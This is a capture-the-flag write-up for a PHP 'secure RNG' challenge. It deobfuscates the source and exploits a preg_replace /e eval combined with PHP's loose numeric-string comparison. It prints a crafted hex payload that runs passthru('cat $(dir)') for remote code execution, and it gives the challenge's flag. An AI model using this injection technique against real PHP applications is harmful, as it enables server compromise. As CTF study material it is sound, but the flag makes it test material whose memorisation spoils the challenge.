The page provided appears to be a pseudo random number generator. By reading the page source we can retrieve the PHP sources of the challenge and the flag location (not directly readable)
<!-- can't touch this: http://securerng.misteryou.ru/flag.txt.gz --> <!-- can touch this: http://securerng.misteryou.ru/index.php.txt -->
index.php.txt
is valid PHP code (yes, it is!)
<? $ { b ( "ee3ab0f9421ce0feabb4676542993ab3" )} = b ( "9a8890a6434cd24e876d687bcaf63b40218f525c" ); $ { b ( "a7d2546914126ca18ca52e3205950070" )} = b ( "c74b0811f86043e9aba0c1d249633993" ); $ { b ( "116fe81df7d030c1e875745f97f9f138" )} = b ( "6da187003b534e740a777e" ); $ { b ( "a3bfe0d3698e1310cce7588fbab15dbe" )} = b ( "f19e6937d9080f346a01" ); $ { b ( "39ebc7035a36015274fdb7bf7c1b661e" )} = b ( "336f2f8b0f837cf318" ); $ { b ( "66711d77210b4193e5539696d4337127" )} = b ( "283101ccbc823b56" ); $ { b ( "d1cb34796276edb85d038ee75671cf4b" )}( b ( "82c84c7312d7a17c4df032fc53b96a6eadeacc6624ca8d4763c855a11cb92226a8e3930f10fbef132e844b9062f07676a5b8a02569d68a552ef107d87ff4636ea5a6a10e4d83975a7add578362f07676a5b8ff610ed6d91c66c10ac82894083ae0ba90044a8fdb3e04844b8c36a56a29fed29a0e0ebb8a407a8438c975ec707fe0d4bc2c0e9f8b137acc0e8c41f67076a4badd031dc8e8392e844b8c2ab82f37e0e593050982c54761d108c436ed6a73b3bcd2035a829509218b18c975ec707fb2e89545439f96476bd612c363b7706fefe09e0a49d8914b7a8a0cd636b42f24cd8cd24b0ed6d91223894bcf77f7226eaff391030e828d5a7d9e4bc462ed7220efa9810e4d8397567cca0c827bf0716ea5f48b045bd8974621cd05c873e12c6aa8f6dc1f5682c51e239a66a636b9223afce09d1943d688567acc04c82bbe525593d2d55523fcc5132e844b8c53f7767fb2a686034bd696566bc0188c70f6703ab2e79c0f419bc55d7bc909c964b9657faee3800a5a9f8a5d228404c273b96063e0ea9b054bccd943219a66a636b9223ae0a6ce1f4b8e91527cc10a8c78f86f7ffda1800549a996566bc0188b36fa6d76b3bbc75b0e848a447d995a9c28" )); if ( $ { b ( "6c74ed82b97f6c415a83aa0aa8baf8d1" )}( b ( "3d7e368111b63c72515d5d46b1" ), $ { b ( "eb717d90b3287b1fbd" )})){ $ { b ( "532194e0380d7a29761eb0b215b4168d" )} = $ { b ( "cb3911f75937342f3b" )}[ b ( "2daec48e9ce64f696075279dff" )]; $ { b ( "f877261be92e25500a601f21ab4cfa84" )} = $ { b ( "507c24291c22ba245b" )}[ b ( "398058b936ce0090a90f349a298ae06b96" )]; $ { b ( "dbcffbbeb2632a6e6c6f84ac52064768" )} = b ( "ac51a58253c0a511c9dc9cafd2490c5bd490ccb550c6a111c9de9aacd7480f5fd595cbb952c0a61bc9de9cadd3430857d792ccb553c1a61bcbd89aa8d2490e5ed493ceb254cba11dcedc9dabd5420d5ed793ccb554cba51cc8d59aaed2490e5ad599ceb154cba419c9d49da6d2480856d298cbb854caa110cfd49da7d2480856" ); if ( $ { b ( "2e272b48041e04ef643cc8624445f2a0" )} != $ { b ( "6a24556aba8e247fa9d27de3bed53586" )}) $ { b ( "baee65eb837f2005a229dc821e06b2d9" )}( b ( "d226cbb39ee6930cbddd02ea8b7a2913b7d8a98b9df6850ce79803" )); else $ { b ( "966fd744cb7b26253a2d2e10d4f86ceb" )}( $ { b ( "ee2d11ebf1e0953de1b3cd330bf63b45" )}( b ( "ef1a9b31679b8ed9faa81647e89a674234" ), $ { b ( "6e9dca05952d2364621f20fd1177a04c" )}( b ( "99b85fb97c17" ), $ { b ( "b9c7fb42fb9760cf9f90bdc23dcac2e6" )}), $ { b ( "532194e0380d7a29761eb0b215b4168d" )})); } else { foreach ( $ { b ( "ff38daff4156b41b58d2ecfb70e4bc6b" )}( b ( "cd248b6cb8" ), b ( "94a8be1778" )) as $_ ) $ { b ( "c30cddb21a8c75cc8e45d9fc34655c09" )}( $ { b ( "9946a48e60730e4ca59fc82e0562fca1" )}() . b ( "f975de3ba2" )); } $ { b ( "88a0090aa5d28c97de682ff340fc340b" )}( b ( "3812ce7d43f003a4010d64890674a759b78a30aa75ff57e1595925c70a7be910b3857ade0fba4ae61110619f067bbe45a9c463c242f805af1e266497047aeb0cb3cd63805fa916ad0c1c38dc5626af5df3943d964de741f54d4830cf5520ab5df3963b9548e642f14c4d37c35726ac57f3963d944ced45f94e4a30cf5627ac57f1903b914de743f04d4b32c8512dab51f4943c924aec40f04e4b30cf512daf50f29d3b974de743f44c4132cb512dae55f39c3c9f4de645f84b4037c2512cab5cf59c3c9e4de645f85e592ac56e1fb945e7852e8743b619b10c0d258f1a65fc58e0d67bc512b603e6590f64971670a44280c060c20dbe03a4595f779a1260f65ee085219972d557e1595939d4057aeb08f9a8048743f015ae1d003bf66929b60db3c86299" )); function b ( $b ){ return eval ( /* some php bytecode that breaks the current post */ );}
After half an hour of meticulous deobfuscation, some clean PHP code comes out (b()
function not included)
<?php printf ( "<!DOCTYPE html> <html> <head> <title>RNG of Ultimate Security</title> </head> <body> <h3>The Most Secure RNG in the World</h3> <!-- can't touch this: http://securerng.misteryou.ru/flag.txt.gz --> <!-- can touch this: http://securerng.misteryou.ru/index.php.txt --> <form method='POST'> Enter the seeds for random number generation, one by line:<p/> <textarea name='rng_seeds' cols=50 rows=10>" ); if ( array_key_exists ( "rng_seeds" , "_POST" )){ $seeds = $_POST [ "rng_seeds" ]; $algorithm = $_POST [ "rng_algorithm" ]; $algorithm_val = "5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929" ; if ( $algorithm != $algorithm_val ) printf ( "wuut?! hacker detected!" ); else printf ( preg_replace ( "#\b(\d+)\b#se" , pack ( "H*" , $algorithm ), $seeds )); # \b Match a word boundary # \d Match a digit character } else { foreach ( range ( 1 , 5 ) as $_ ) printf ( mt_rand () . " \n " ); } printf ( "</textarea><p/> <input type='hidden' name='rng_algorithm' value='5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929' /> <input type='submit' value='Generate »' /> </form> </body> </html>" ); ?>
We see that the modifier PREG_REPLACE_EVAL
is set for the substitution pattern inside preg_replace($pattern, $replacement, $subject)
. The replacement string is thus evaluated as PHP code and the result is used for replacing the matching subject string. The code actually executed is the following
php > echo pack ( "H*" , "5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929" ); ShA1 ( dATe ( CRyPT ( CRC32 ( sTRReV ( ABs ( $ 1 % SqrT ( eXP ( EXp ( pI ())))))))))
Thus, to inject some code in the $algorithm
variable, we must exploit the comparison between numerical strings at line 18. PHP compares numerical strings in a really funny way. See this page for examples.
A possible solution is to hex-encode some functions to retrieve the flag into a number of the same length of $algorithm_val
with at least the 16 most significant digits equal to $algorithm_val
. It’s not straightforward to get a working snippet of code using a limited set of characters whose hexadecimal representation is a number, but we are allowed to perform a call to passthru
using sh
command substitution of dir
as an argument for cat
.
>>> 'ShA1(dATe(passthru("cat $(dir)")))' . encode ( "hex" ) . ljust ( 124 , "0" ) '5368413128644154652870617373746872752822636174202428646972292229292900000000000000000000000000000000000000000000000000000000'
After sending this number as the POST parameter rng_algorithm
, we download the file flag.txt.tgz
which appears to be base64 encoded several times. A simple sh
while loop is enough to avoid useless typings
$ while [ $? -eq 0 ] ; do encoded = $( cat flag.b64) ; echo $encoded | base64 -d > flag.b64; done > /dev/null 2>&1; echo $encoded flag: 36e03906042b7b266afa32bd1ea35445
Great challenge, thanks to vos and leetmore !